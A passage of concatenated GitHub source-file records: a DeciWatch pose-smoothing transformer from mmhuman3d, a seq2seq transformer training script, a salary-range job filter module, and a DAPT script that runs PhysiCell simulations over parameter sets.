self).__init__()\n        self.interval = interval\n        self.slide_window_q = slide_window_q\n        self.slide_window_size = self.slide_window_q * self.interval + 1\n        self.device = device\n\n        self.input_dimension = 24 * 6\n\n        self.model = DeciWatch(sample_interval=self.interval).to(self.device)\n\n        self.checkpoint_path = checkpoint\n\n        print(f'load checkpoint from local path: {self.checkpoint_path}')\n        load_checkpoint(\n            self.model, self.checkpoint_path, map_location=self.device)\n\n    def __call__(self, x=None):\n        # x.shape: [t,24,3]\n        seq_len = x.shape[0]\n        assert seq_len > self.slide_window_size\n        assert x.shape[1:] == (24, 3, 3) or x.shape[1:] == (\n            self.input_dimension) or x.shape[1:] == (24, 3)\n\n        if x.shape[1:] == (24, 3, 3):\n            input_type = 'matrix'\n            x = torch.tensor(x).to(self.device)\n            x = rotmat_to_rot6d(x).reshape(-1, self.input_dimension)\n        elif x.shape[1:] == (24, 3):\n            input_type = 'axis_angles'\n            x = torch.tensor(x).to(self.device)\n            x = rotmat_to_rot6d(aa_to_rotmat(x.reshape(-1, 3))).reshape(\n                -1, self.input_dimension)\n        else:\n            x = torch.tensor(x).to(self.device)\n            x = x.reshape(-1, self.input_dimension)\n            input_type = 'rotation_6d'\n\n        input = x.clone()\n\n        slide_window_x = torch.as_strided(\n            input, ((seq_len - self.slide_window_size) // (self.interval) + 1,\n                    self.slide_window_size, self.input_dimension),\n            (self.interval * self.input_dimension, self.input_dimension, 1),\n            storage_offset=0).reshape(-1, self.slide_window_size,\n                                      self.input_dimension)\n\n        smoothed_len = (\n            seq_len - self.slide_window_size\n        ) // self.interval * self.interval + self.slide_window_size\n\n        with torch.no_grad():\n            smooth_poses, _ = self.model(slide_window_x, self.device)\n\n        output_poses = [[] for i in range(smoothed_len)]\n\n        for i in range(smooth_poses.shape[0]):\n            for j in range(self.slide_window_size):\n                output_poses[i * self.interval + j].append(smooth_poses[i,\n                                                                        j, :])\n\n        smooth_poses = torch.cat(\n            (smooth_poses[:, :self.slide_window_size - 1, :].reshape(\n                -1, self.input_dimension), smooth_poses[-1, -1, :].reshape(\n                    -1, self.input_dimension)),\n            dim=0)\n\n        for i in range(smoothed_len):\n            output_poses[i] = torch.stack(output_poses[i]).mean(0)\n\n        output_poses = torch.stack(output_poses)\n\n        if smoothed_len < seq_len:\n            output_poses = torch.cat((output_poses, x[smoothed_len:, :]),\n                                     dim=0)\n\n        if input_type == 'matrix':\n            output_poses = rot6d_to_rotmat(output_poses.reshape(\n                -1, 6)).reshape(-1, 24, 3, 3)\n        elif input_type == 'axis_angles':\n            output_poses = rotmat_to_aa(\n                rot6d_to_rotmat(output_poses.reshape(-1,\n                                                     6))).reshape(-1, 24, 3)\n\n        return output_poses\n\n\nclass PositionEmbeddingSine_1D(nn.Module):\n    \"\"\"This is a more standard version of the position embedding, very similar\n    to the one used by the Attention is all you need paper, generalized to work\n    on images.\"\"\"\n\n    def __init__(self,\n                 num_pos_feats=64,\n                 temperature=10000,\n                 normalize=True,\n                 scale=None):\n        super().__init__()\n        self.num_pos_feats = num_pos_feats\n        self.temperature = temperature\n        self.normalize = normalize\n        if scale is not None and normalize is False:\n            raise ValueError('normalize should be True if scale is passed')\n        if scale is None:\n            scale = 2 * math.pi\n        self.scale = scale\n\n    def forward(self, B, L):\n\n        position = torch.arange(0, L, dtype=torch.float32).unsqueeze(0)\n        position = position.repeat(B, 1)\n\n        if self.normalize:\n            eps = 1e-6\n            position = position / (position[:, -1:] + eps) * self.scale\n\n        dim_t = torch.arange(self.num_pos_feats, dtype=torch.float32)\n        dim_t = self.temperature**(2 * (torch.div(dim_t, 1)) /\n                                   self.num_pos_feats)\n\n        pe = torch.zeros(B, L, self.num_pos_feats * 2)\n        pe[:, :, 0::2] = torch.sin(position[:, :, None] / dim_t)\n        pe[:, :, 1::2] = torch.cos(position[:, :, None] / dim_t)\n\n        pe = pe.permute(1, 0, 2)\n\n        return pe\n\n\nclass DeciWatch(nn.Module):\n    \"\"\"Apply DeciWatch framework for 10x efficiency.\n    \"DeciWatch: A Simple Baseline for 10× Efficient 2D and 3D Pose Estimation\",\n    arXiv'2022. More details can be found in the `paper\n    <https://arxiv.org/pdf/2203.08713>` .\n    Args:\n        input_dim (int): The size of input spatial dimension,\n            e.g., 15*2 for 2d pose on the jhmdb dataset\n        sample_interval (int): DeciWatch argument. See :class:`DeciWatch`\n            for details. The intervals of the uniform sampling.\n            The sampling ratio is: 1/sample_interval. Default: 10\n        encoder_hidden_dim (int): DeciWatch argument. See :class:`DeciWatch`\n            for details. Hidden dimension in the encoder. Default: 64\n        decoder_hidden_dim (int): DeciWatch argument. See :class:`DeciWatch`\n            for details. Hidden dimension in the decoder. Default: 64\n        dropout (float): DeciWatch argument. See :class:`DeciWatch`\n            for details. dropout probability. Default: 0.1\n        nheads (int): DeciWatch argument. See :class:`DeciWatch`\n            for details. Default: 4\n        dim_feedforward (int): DeciWatch argument. See :class:`DeciWatch`\n            for details. Dimension of feed forward layers.\n        enc_layers (int): DeciWatch argument. See :class:`DeciWatch`\n            for details. Layers of the encoder. Default: 5\n        dec_layers (int): DeciWatch argument. See :class:`DeciWatch`\n            for details. Layers of the encoder. Default: 5\n        activation (str): DeciWatch argument. See :class:`DeciWatch`\n            for details. Activation function in deciwatch.\n            Default: 'leaky_relu'\n        pre_norm (bool): DeciWatch argument. See :class:`DeciWatch`\n            for details. Whether to normalize before positional embedding.\n            Default: False\n    \"\"\"\n\n    def __init__(self,\n                 input_dim=24 * 6,\n                 sample_interval=10,\n                 encoder_hidden_dim=16,\n                 decoder_hidden_dim=16,\n                 dropout=0.1,\n                 nheads=4,\n                 dim_feedforward=256,\n                 enc_layers=3,\n                 dec_layers=3,\n                 activation='leaky_relu',\n                 pre_norm=False):\n        super(DeciWatch, self).__init__()\n        self.pos_embed_dim = encoder_hidden_dim\n        self.pos_embed = self.build_position_encoding(self.pos_embed_dim)\n\n        self.sample_interval = sample_interval\n\n        self.deciwatch_par = {\n            'input_dim': input_dim,\n            'encoder_hidden_dim': encoder_hidden_dim,\n            'decoder_hidden_dim': decoder_hidden_dim,\n            'dropout': dropout,\n            'nheads': nheads,\n            'dim_feedforward': dim_feedforward,\n            'enc_layers': enc_layers,\n            'dec_layers': dec_layers,\n            'activation': activation,\n            'pre_norm': pre_norm\n        }\n\n        self.transformer = build_model(self.deciwatch_par)\n\n    def build_position_encoding(self, pos_embed_dim):\n        N_steps = pos_embed_dim // 2\n        position_embedding = PositionEmbeddingSine_1D(N_steps, normalize=True)\n        return position_embedding\n\n    def generate_unifrom_mask(self, L, sample_interval=10):\n        # 1 unseen 0 see\n\n        seq_len = L\n        if (seq_len - 1) % sample_interval != 0:\n            raise Exception(\n                'The following equation should be satisfied: [Window size] \\\n                    = [sample interval] * Q + 1, where Q is an integer.')\n\n        sample_mask = np.ones(seq_len, dtype=np.int32)\n        sample_mask[::sample_interval] = 0\n\n        encoder_mask = sample_mask\n        decoder_mask = np.array([0] * L, dtype=np.int32)\n\n        return torch.tensor(encoder_mask), torch.tensor(decoder_mask)\n\n    def seqence_interpolation(self, motion, rate):\n\n        seq_len = motion.shape[-1]\n        indice = torch.arange(seq_len, dtype=int)\n        chunk = torch.div(indice, rate).type(torch.long)\n        remain = indice % rate\n\n        prev = motion[:, :, chunk * rate]\n\n        next = torch.cat([\n            motion[:, :, (chunk[:-1] + 1) * rate], motion[:, :, -1, np.newaxis]\n        ], -1)\n        remain = remain.to(motion.device)\n\n        interpolate = (prev / rate * (rate - remain)) + (next / rate * remain)\n\n        return interpolate\n\n    def forward(self, sequence, device):\n        B, L, C = sequence.shape\n        seq = sequence.permute(0, 2, 1)  # B,C,L\n\n        encoder_mask, decoder_mask = self.generate_unifrom_mask(\n            L, sample_interval=self.sample_interval)\n        encoder_mask = encoder_mask.to(seq.device)\n        decoder_mask = decoder_mask.to(seq.device)\n\n        self.input_seq = seq * (1 - encoder_mask.int())\n        self.input_seq_interp = self.seqence_interpolation(\n            self.input_seq, self.sample_interval)\n        # self.input_seq=self.input_seq.reshape(1,1,-1)\n        self.encoder_mask = encoder_mask.unsqueeze(0).repeat(B, 1).to(device)\n        self.decoder_mask = decoder_mask.unsqueeze(0).repeat(B, 1).to(device)\n\n        self.encoder_pos_embed = self.pos_embed(B, L).to(device)\n        self.decoder_pos_embed = self.encoder_pos_embed.clone().to(device)\n\n        self.recover, self.denoise = self.transformer.forward(\n            input_seq=self.input_seq.to(torch.float32),\n            encoder_mask=self.encoder_mask,\n            encoder_pos_embed=self.encoder_pos_embed,\n            input_seq_interp=self.input_seq_interp,\n            decoder_mask=self.decoder_mask,\n            decoder_pos_embed=self.decoder_pos_embed,\n            sample_interval=self.sample_interval,\n            device=device)\n\n        self.recover = self.recover.permute(1, 0, 2).reshape(B, L, C)\n        self.denoise = self.denoise.permute(1, 0, 2).reshape(B, L, C)\n\n        return self.recover, self.denoise\n\n\nclass DeciWatchTransformer(nn.Module):\n\n    def __init__(self,\n                 input_nc,\n                 encoder_hidden_dim=512,\n                 decoder_hidden_dim=512,\n                 nhead=8,\n                 num_encoder_layers=6,\n                 num_decoder_layers=6,\n                 dim_feedforward=2048,\n                 dropout=0.1,\n                 activation='relu',\n                 pre_norm=False):\n        super(DeciWatchTransformer, self).__init__()\n\n        self.joints_dim = input_nc\n        # bring in semantic (5 frames) temporal information into tokens\n        self.decoder_embed = nn.Conv1d(\n            self.joints_dim,\n            decoder_hidden_dim,\n            kernel_size=5,\n            stride=1,\n            padding=2)\n\n        self.encoder_embed = nn.Linear(self.joints_dim, encoder_hidden_dim)\n\n        encoder_layer = DeciWatchTransformerEncoderLayer(\n            encoder_hidden_dim, nhead, dim_feedforward, dropout, activation,\n            pre_norm)\n        encoder_norm = nn.LayerNorm(encoder_hidden_dim) if pre_norm else None\n        self.encoder = DeciWatchTransformerEncoder(encoder_layer,\n                                                   num_encoder_layers,\n                                                   encoder_norm)\n\n        decoder_layer = DeciWatchTransformerDecoderLayer(\n            decoder_hidden_dim, nhead, dim_feedforward, dropout, activation,\n            pre_norm)\n        decoder_norm = nn.LayerNorm(decoder_hidden_dim)\n        self.decoder = DeciWatchTransformerDecoder(decoder_layer,\n                                                   num_decoder_layers,\n                                                   decoder_norm)\n\n        self.decoder_joints_embed = nn.Linear(decoder_hidden_dim,\n                                              self.joints_dim)\n        self.encoder_joints_embed = nn.Linear(encoder_hidden_dim,\n                                              self.joints_dim)\n\n        # reset parameters\n        for p in self.parameters():\n            if p.dim() > 1:\n                nn.init.xavier_uniform_(p)\n\n        self.encoder_hidden_dim = encoder_hidden_dim\n        self.decoder_hidden_dim = decoder_hidden_dim\n\n        self.nhead = nhead\n\n    def _generate_square_subsequent_mask(self, sz):\n        mask = torch.triu(torch.ones(sz, sz), 1)\n        mask = mask.masked_fill(mask == 1, float('-inf'))\n        return mask\n\n    def interpolate_embedding(self, input, rate):\n\n        tmp = input.clone()\n        seq_len = input.shape[0]\n        indice = torch.arange(seq_len, dtype=int).to(self.device)\n        chunk = torch.div(indice, rate).type(torch.long)\n        remain = indice % rate\n\n        prev = tmp[chunk * rate]\n\n        next = torch.cat([tmp[(chunk[:-1] + 1) * rate], tmp[-1].unsqueeze(0)],\n                         dim=0)\n\n        interpolate = (prev / rate * (rate - remain.view(-1, 1, 1))) + (\n            next / rate * remain.view(-1, 1, 1))\n\n        return interpolate\n\n    def forward(self, input_seq, encoder_mask, encoder_pos_embed,\n                input_seq_interp, decoder_mask, decoder_pos_embed,\n                sample_interval, device):\n\n        self.device = device\n\n        # flatten NxCxL to LxNxC\n        bs, c, _ = input_seq.shape\n        input_seq = input_seq.permute(2, 0, 1)\n        input_seq_interp = input_seq_interp.permute(2, 0, 1)\n\n        input = input_seq.clone()\n\n        # mask on all sequences:\n        trans_src = self.encoder_embed(input_seq)\n        mem = self.encode(trans_src, encoder_mask, encoder_pos_embed)\n        reco = self.encoder_joints_embed(mem) + input\n\n        interp = self.interpolate_embedding(reco, sample_interval)\n        center = interp.clone()\n        trans_tgt = self.decoder_embed(interp.permute(1, 2,\n                                                      0)).permute(2, 0, 1)\n\n        output = self.decode(mem, encoder_mask, encoder_pos_embed, trans_tgt,\n                             decoder_mask, decoder_pos_embed)\n\n        joints = self.decoder_joints_embed(output) + center\n        return joints, reco\n\n    def encode(self, src, src_mask, pos_embed):\n\n        mask = torch.eye(src.shape[0]).bool().to(src.device)\n        memory = self.encoder(\n            src, mask=mask, src_key_padding_mask=src_mask, pos=pos_embed)\n\n        return memory\n\n    def decode(self, memory, memory_mask, memory_pos, tgt, tgt_mask, tgt_pos):\n        hs = self.decoder(\n            tgt,\n            memory,\n            tgt_key_padding_mask=tgt_mask,\n            memory_key_padding_mask=memory_mask,\n            pos=memory_pos,\n            query_pos=tgt_pos)\n        return hs\n\n\nclass DeciWatchTransformerEncoder(nn.Module):\n\n    def __init__(self, encoder_layer, num_layers, norm=None):\n        super().__init__()\n        self.layers = _get_clones(encoder_layer, num_layers)\n        self.num_layers = num_layers\n        self.norm = norm\n\n    def forward(self,\n                src,\n                mask: Optional[Tensor] = None,\n                src_key_padding_mask: Optional[Tensor] = None,\n                pos: Optional[Tensor] = None):\n        output = src\n\n        for layer in self.layers:\n            output = layer(\n                output,\n                src_mask=mask,\n                src_key_padding_mask=src_key_padding_mask,\n                pos=pos)\n\n        if self.norm is not None:\n            output = self.norm(output)\n\n        return output\n\n\nclass DeciWatchTransformerDecoder(nn.Module):\n\n    def __init__(self, decoder_layer, num_layers, norm=None):\n        super().__init__()\n        self.layers = _get_clones(decoder_layer, num_layers)\n        self.num_layers = num_layers\n        self.norm = norm\n\n    def forward(self,\n                tgt,\n                memory,\n                tgt_mask: Optional[Tensor] = None,\n                memory_mask: Optional[Tensor] = None,\n                tgt_key_padding_mask: Optional[Tensor] = None,\n                memory_key_padding_mask: Optional[Tensor] = None,\n                pos: Optional[Tensor] = None,\n                query_pos: Optional[Tensor] = None):\n        output = tgt\n\n        for layer in self.layers:\n            output = layer(\n                output,\n                memory,\n                tgt_mask=tgt_mask,\n                memory_mask=memory_mask,\n                tgt_key_padding_mask=tgt_key_padding_mask,\n                memory_key_padding_mask=memory_key_padding_mask,\n                pos=pos,\n                query_pos=query_pos)\n\n        if self.norm is not None:\n            output = self.norm(output)\n\n        return output\n\n\nclass DeciWatchTransformerEncoderLayer(nn.Module):\n\n    def __init__(self,\n                 encoder_hidden_dim,\n                 nhead,\n                 dim_feedforward=2048,\n                 dropout=0.1,\n                 activation='relu',\n                 pre_norm=False):\n        super().__init__()\n        self.self_attn = nn.MultiheadAttention(\n            encoder_hidden_dim, nhead, dropout=dropout)\n        # Implementation of Feedforward model\n        self.linear1 = nn.Linear(encoder_hidden_dim, dim_feedforward)\n        self.dropout = nn.Dropout(dropout)\n        self.linear2 = nn.Linear(dim_feedforward, encoder_hidden_dim)\n\n        self.norm1 = nn.LayerNorm(encoder_hidden_dim)\n        self.norm2 = nn.LayerNorm(encoder_hidden_dim)\n        self.dropout1 = nn.Dropout(dropout)\n        self.dropout2 = nn.Dropout(dropout)\n\n        self.activation = _get_activation_fn(activation)\n        self.pre_norm = pre_norm\n\n    def with_pos_embed(self, tensor, pos: Optional[Tensor]):\n        return tensor if pos is None else tensor + pos\n\n    def forward_post(self,\n                     src,\n                     src_mask: Optional[Tensor] = None,\n                     src_key_padding_mask: Optional[Tensor] = None,\n                     pos: Optional[Tensor] = None):\n        q = k = self.with_pos_embed(src, pos)\n        src2 = self.self_attn(\n            q,\n            k,\n            value=src,\n            attn_mask=src_mask,\n            key_padding_mask=src_key_padding_mask.bool())[0]\n        src = src + self.dropout1(src2)\n        src = self.norm1(src)\n        src2 = self.linear2(self.dropout(self.activation(self.linear1(src))))\n        src = src + self.dropout2(src2)\n        src = self.norm2(src)\n        return src\n\n    def forward_pre(self,\n                    src,\n                    src_mask: Optional[Tensor] = None,\n                    src_key_padding_mask: Optional[Tensor] = None,\n                    pos: Optional[Tensor] = None):\n        src2 = self.norm1(src)\n        q = k = self.with_pos_embed(src2, pos)\n        src2 = self.self_attn(\n            q,\n            k,\n            value=src2,\n            attn_mask=src_mask,\n            key_padding_mask=src_key_padding_mask)[0]\n        src = src + self.dropout1(src2)\n        src2 = self.norm2(src)\n        src2 = self.linear2(self.dropout(self.activation(self.linear1(src2))))\n        src = src + self.dropout2(src2)\n        return src\n\n    def forward(self,\n                src,\n                src_mask: Optional[Tensor] = None,\n                src_key_padding_mask: Optional[Tensor] = None,\n                pos: Optional[Tensor] = None):\n        if self.pre_norm:\n            return self.forward_pre(src, src_mask, src_key_padding_mask, pos)\n        return self.forward_post(src, src_mask, src_key_padding_mask, pos)\n\n\nclass DeciWatchTransformerDecoderLayer(nn.Module):\n\n    def __init__(self,\n                 decoder_hidden_dim,\n                 nhead,\n                 dim_feedforward=2048,\n                 dropout=0.1,\n                 activation='relu',\n                 pre_norm=False):\n        super().__init__()\n        self.self_attn = nn.MultiheadAttention(\n            decoder_hidden_dim, nhead, dropout=dropout)\n        self.multihead_attn = nn.MultiheadAttention(\n            decoder_hidden_dim, nhead, dropout=dropout)\n        # Implementation of Feedforward model\n        self.linear1 = nn.Linear(decoder_hidden_dim, dim_feedforward)\n        self.dropout = nn.Dropout(dropout)\n        self.linear2 = nn.Linear(dim_feedforward, decoder_hidden_dim)\n\n        self.norm1 = nn.LayerNorm(decoder_hidden_dim)\n        self.norm2 = nn.LayerNorm(decoder_hidden_dim)\n        self.norm3 = nn.LayerNorm(decoder_hidden_dim)\n        self.dropout1 = nn.Dropout(dropout)\n        self.dropout2 = nn.Dropout(dropout)\n        self.dropout3 = nn.Dropout(dropout)\n\n        self.activation = _get_activation_fn(activation)\n        self.pre_norm = pre_norm\n\n    def with_pos_embed(self, tensor, pos: Optional[Tensor]):\n        return tensor if pos is None else tensor + pos\n\n    def forward_post(self,\n                     tgt,\n                     memory,\n                     tgt_mask: Optional[Tensor] = None,\n                     memory_mask: Optional[Tensor] = None,\n                     tgt_key_padding_mask: Optional[Tensor] = None,\n                     memory_key_padding_mask: Optional[Tensor] = None,\n                     pos: Optional[Tensor] = None,\n                     query_pos: Optional[Tensor] = None):\n        q = k = self.with_pos_embed(tgt, query_pos)\n        tgt2 = self.self_attn(\n            q,\n            k,\n            value=tgt,\n            attn_mask=tgt_mask,\n            key_padding_mask=tgt_key_padding_mask.bool())[0]\n        tgt = tgt + self.dropout1(tgt2)\n        tgt = self.norm1(tgt)\n        tgt2 = self.multihead_attn(\n            query=self.with_pos_embed(tgt, query_pos),\n            key=self.with_pos_embed(memory, pos),\n            value=memory,\n            attn_mask=memory_mask,\n            key_padding_mask=memory_key_padding_mask.bool())[0]\n        tgt = tgt + self.dropout2(tgt2)\n        tgt = self.norm2(tgt)\n        tgt2 = self.linear2(self.dropout(self.activation(self.linear1(tgt))))\n        tgt = tgt + self.dropout3(tgt2)\n        tgt = self.norm3(tgt)\n        return tgt\n\n    def forward_pre(self,\n                    tgt,\n                    memory,\n                    tgt_mask: Optional[Tensor] = None,\n                    memory_mask: Optional[Tensor] = None,\n                    tgt_key_padding_mask: Optional[Tensor] = None,\n                    memory_key_padding_mask: Optional[Tensor] = None,\n                    pos: Optional[Tensor] = None,\n                    query_pos: Optional[Tensor] = None):\n        tgt2 = self.norm1(tgt)\n        q = k = self.with_pos_embed(tgt2, query_pos)\n        tgt2 = self.self_attn(\n            q,\n            k,\n            value=tgt2,\n            attn_mask=tgt_mask,\n            key_padding_mask=tgt_key_padding_mask)[0]\n        tgt = tgt + self.dropout1(tgt2)\n        tgt2 = self.norm2(tgt)\n        tgt2 = self.multihead_attn(\n            query=self.with_pos_embed(tgt2, query_pos),\n            key=self.with_pos_embed(memory, pos),\n            value=memory,\n            attn_mask=memory_mask,\n            key_padding_mask=memory_key_padding_mask.bool())[0]\n\n        tgt = tgt + self.dropout2(tgt2)\n        tgt2 = self.norm3(tgt)\n        tgt2 = self.linear2(self.dropout(self.activation(self.linear1(tgt2))))\n        tgt = tgt + self.dropout3(tgt2)\n        return tgt\n\n    def forward(self,\n                tgt,\n                memory,\n                tgt_mask: Optional[Tensor] = None,\n                memory_mask: Optional[Tensor] = None,\n                tgt_key_padding_mask: Optional[Tensor] = None,\n                memory_key_padding_mask: Optional[Tensor] = None,\n                pos: Optional[Tensor] = None,\n                query_pos: Optional[Tensor] = None):\n        if self.pre_norm:\n            return self.forward_pre(tgt, memory, tgt_mask, memory_mask,\n                                    tgt_key_padding_mask,\n                                    memory_key_padding_mask, pos, query_pos)\n        return self.forward_post(tgt, memory, tgt_mask, memory_mask,\n                                 tgt_key_padding_mask, memory_key_padding_mask,\n                                 pos, query_pos)\n\n\ndef _get_clones(module, N):\n    return nn.ModuleList([copy.deepcopy(module) for i in range(N)])\n\n\ndef build_model(args):\n    return DeciWatchTransformer(\n        input_nc=args['input_dim'],\n        decoder_hidden_dim=args['decoder_hidden_dim'],\n        encoder_hidden_dim=args['encoder_hidden_dim'],\n        dropout=args['dropout'],\n        nhead=args['nheads'],\n        dim_feedforward=args['dim_feedforward'],\n        num_encoder_layers=args['enc_layers'],\n        num_decoder_layers=args['dec_layers'],\n        activation=args['activation'],\n        pre_norm=args['pre_norm'],\n    )\n\n\ndef _get_activation_fn(activation):\n    \"\"\"Return an activation function given a string.\"\"\"\n    if activation == 'relu':\n        return F.relu\n    if activation == 'gelu':\n        return F.gelu\n    if activation == 'glu':\n        return F.glu\n    if activation == 'leaky_relu':\n        return F.leaky_relu\n    raise RuntimeError(F'activation should be relu/gelu, not {activation}.')\n","repo_name":"open-mmlab/mmhuman3d","sub_path":"mmhuman3d/core/post_processing/speed_up/deciwatch.py","file_name":"deciwatch.py","file_ext":"py","file_size_in_byte":26471,"program_lang":"python","lang":"en","doc_type":"code","stars":1016,"dataset":"github-code","pt":"77"}
+{"seq_id":"12542673044","text":"from dataprocessing import *\nfrom dataloader import *\nfrom model import *\nfrom train_test import *\nfrom torch.utils.data import DataLoader\nimport pickle\n\ntry:\n  mapping_dict = pickle.load(open(\"mapping_dict.pkl\",\"rb\"))\nexcept:\n  file = open('dataset.txt','r')\n  data = file.read()\n  data = data.split('\\n')[:-1]\n  data_ = list(map(lambda x: x.replace('**','^'), data))\n\n  inp_opt_chars = create_inp_opt(data_)\n  vocab = create_vocab(inp_opt_chars)\n  mapping_dict = create_mapping(list(vocab))\n\n  pickle.dump(mapping_dict, open(\"mapping_dict.pkl\", \"wb\"))\n\ntrain_file = open('train.txt','r')\ntrain_data = train_file.read()\ntrain_data = train_data.split('\\n')[:-1]\ntrain_data_ = list(map(lambda x: x.replace('**','^'), train_data))\n\ntrain_inp_opt_chars = create_inp_opt(train_data_)\nX_train, y_train = inp_opt(train_inp_opt_chars, mapping_dict)\n\ntrain_dataset = Factorized2ExpandedDataset(X_train, y_train)\ntrain_loader = DataLoader(train_dataset, batch_size=64, shuffle=True, collate_fn= collate)\n\nSRC_VOCAB_SIZE = len(mapping_dict)\nTGT_VOCAB_SIZE = len(mapping_dict)\nEMB_SIZE = 256\nNHEAD = 8\nFFN_HID_DIM = 1024\nBATCH_SIZE = 128\nNUM_ENCODER_LAYERS = 3\nNUM_DECODER_LAYERS = 2\nNUM_EPOCHS = 10\n\nDEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\ntransformer = Seq2SeqTransformer(NUM_ENCODER_LAYERS, NUM_DECODER_LAYERS,\n                                 EMB_SIZE, SRC_VOCAB_SIZE, TGT_VOCAB_SIZE,\n                                 FFN_HID_DIM)\n\nfor p in transformer.parameters():\n    if p.dim() > 1:\n        nn.init.xavier_uniform_(p)\n\ntransformer = transformer.to(device)\n\nloss_fn = torch.nn.CrossEntropyLoss(ignore_index=mapping_dict['pad'])\n\noptimizer = torch.optim.Adam(\n    transformer.parameters(), lr=0.0001, betas=(0.9, 0.98), eps=1e-9\n)\n\ndef count_parameters(model):\n    return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\nprint(f'The model has {count_parameters(transformer):,} trainable parameters')\n\nfor i in range(NUM_EPOCHS):\n    print(train_epoch(transformer, train_loader, optimizer, loss_fn))\n    \ntorch.save(transformer, \"model_transformer.pt\")\n    \n","repo_name":"chaaran757/Factorized2Expanded","sub_path":"transformer/main_train.py","file_name":"main_train.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41266135385","text":"from typing import Union, List, Dict\nfrom src.insights.jobs import read\n\n\ndef get_max_salary(path: str) -> int:\n    \"\"\"Get the maximum salary of all jobs\n\n    Must call `read`\n\n    Parameters\n    ----------\n    path : str\n        Must be passed to `read`\n\n    Returns\n    -------\n    int\n        The maximum salary paid out of all job opportunities\n    \"\"\"\n    jobs = read(path)\n    salaries = set()\n\n    for job in jobs:\n        if job[\"max_salary\"].isnumeric():\n            salaries.add(int(job[\"max_salary\"]))\n\n    highest_salary = max(salaries)\n\n    return highest_salary\n\n\ndef get_min_salary(path: str) -> int:\n    \"\"\"Get the minimum salary of all jobs\n\n    Must call `read`\n\n    Parameters\n    ----------\n    path : str\n        Must be passed to `read`\n\n    Returns\n    -------\n    int\n        The minimum salary paid out of all job opportunities\n    \"\"\"\n    jobs = read(path)\n    salaries = set()\n\n    for job in jobs:\n        if job[\"min_salary\"].isnumeric():\n            salaries.add(int(job[\"min_salary\"]))\n\n    lowest_salary = min(salaries)\n\n    return lowest_salary\n\n\ndef matches_salary_range(job: Dict, salary: Union[int, str]) -> bool:\n    \"\"\"Checks if a given salary is in the salary range of a given job\n\n    Parameters\n    ----------\n    job : dict\n        The job with `min_salary` and `max_salary` keys\n    salary : int\n        The salary to check if matches with salary range of the job\n\n    Returns\n    -------\n    bool\n        True if the salary is in the salary range of the job, False otherwise\n\n    Raises\n    ------\n    ValueError\n        If `job[\"min_salary\"]` or `job[\"max_salary\"]` doesn't exists\n        If `job[\"min_salary\"]` or `job[\"max_salary\"]` aren't valid integers\n        If `job[\"min_salary\"]` is greather than `job[\"max_salary\"]`\n        If `salary` isn't a valid integer\n    \"\"\"\n    try:\n        min_salary = int(job[\"min_salary\"])\n        max_salary = int(job[\"max_salary\"])\n\n        if min_salary > max_salary:\n            raise ValueError\n\n        elif min_salary <= int(salary) <= max_salary:\n            return True\n\n        return False\n    except (Exception):\n        raise ValueError\n\n\ndef filter_by_salary_range(\n    jobs: List[dict],\n    salary: Union[str, int]\n) -> List[Dict]:\n    \"\"\"Filters a list of jobs by salary range\n\n    Parameters\n    ----------\n    jobs : list\n        The jobs to be filtered\n    salary : int\n        The salary to be used as filter\n\n    Returns\n    -------\n    list\n        Jobs whose salary range contains `salary`\n    \"\"\"\n    filtered_jobs = []\n\n    for job in jobs:\n        min_salary = job[\"min_salary\"]\n        max_salary = job[\"max_salary\"]\n\n        try:\n            salary_range = dict(max_salary=max_salary, min_salary=min_salary)\n            sucessfully_matched = matches_salary_range(salary_range, salary)\n\n            if sucessfully_matched:\n                filtered_jobs.append(job)\n\n        except (ValueError):\n            None\n\n    return filtered_jobs\n","repo_name":"RuhamLeal/job-insights-app","sub_path":"src/insights/salaries.py","file_name":"salaries.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"538058575","text":"\"\"\"\nBasic DAPT Example\n==================\n\nThis script demonstrates the simplest example of parameter testing in PhysiCell using DAPT.\n\"\"\"\n\nimport os, platform\nimport xml.etree.ElementTree as ET\nimport dapt\n\n\n # This is the same method implimented in `dapt.tools.create_XML()`.  \n # The method was coppied here to make the code easier to read.\ndef create_XML(parameters, default_settings=\"PhysiCell_settings_default.xml\", save_settings=\"PhysiCell_settings.xml\", off_limits=[]):\n    \"\"\"\n    Create a PhysiCell XML settings file given a dictionary of paramaters.  This function works by having a ``default_settings`` file which contains the generic XML structure.  Each key in ``parameters` then contains the paths to each XML tag in the ``default_settings`` file.  The value of that tag is then set to the value in the associated key.  If a key in ``parameters`` does not exist in the ``default_settings`` XML file then it is ignored.  If a key in ``parameters`` also exists in ``off_limits`` then it is ignored.\n\n    Args:\n        paramaters (dict): A dictionary of paramaters where the key is the path to the xml variable and the value is the desired value in the XML file.\n        default_settings (str): the path to the default xml file\n        save_settings (str): the path to the output xml file\n        off_limits (list): a list of keys that should not be inserted into the XML file.\n    \"\"\"\n\n    parameters = dict(parameters)\n    tree = ET.parse(default_settings)\n    root = tree.getroot()\n\n    for key in parameters:\n        if key in off_limits:\n            next\n\n        node = root.find(key)\n\n        if node != None:\n            node.text = str(parameters[key])\n\n    tree.write(save_settings)\n\n\n# Set up DAPT objects: database (Delimited_file) and parameter manager (Param)\ndb = dapt.db.Delimited_file('parameters.csv', delimiter=',')\nparams = dapt.Param(db)\n\n# Get the first parameter.  Returns None if there are none\np = params.next_parameters()\n\nwhile p is not None:\n\n    print(\"Request parameters: %s\" % p)\n\n    params.update_status(p[\"id\"], 'updating PhysiCell settings')\n\n    # Update the default settings with the given parameters\n    create_XML(p, default_settings=\"PhysiCell_settings_default.xml\", save_settings=\"PhysiCell_settings.xml\")\n\n    params.update_status(p[\"id\"], 'running simulation')\n\n    # Run PhysiCell (execution method depends on OS)\n    if platform.system() == 'Windows':\n        os.system(\"biorobots.exe\")\n    else:\n        os.system(\"./biorobots\")\n\n    # Update sheets to mark the test is finished\n    params.successful(p[\"id\"])\n\n    #Get the next parameter\n    p = params.next_parameters()\n","repo_name":"PhysiCell-Tools/DAPT-example","sub_path":"basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
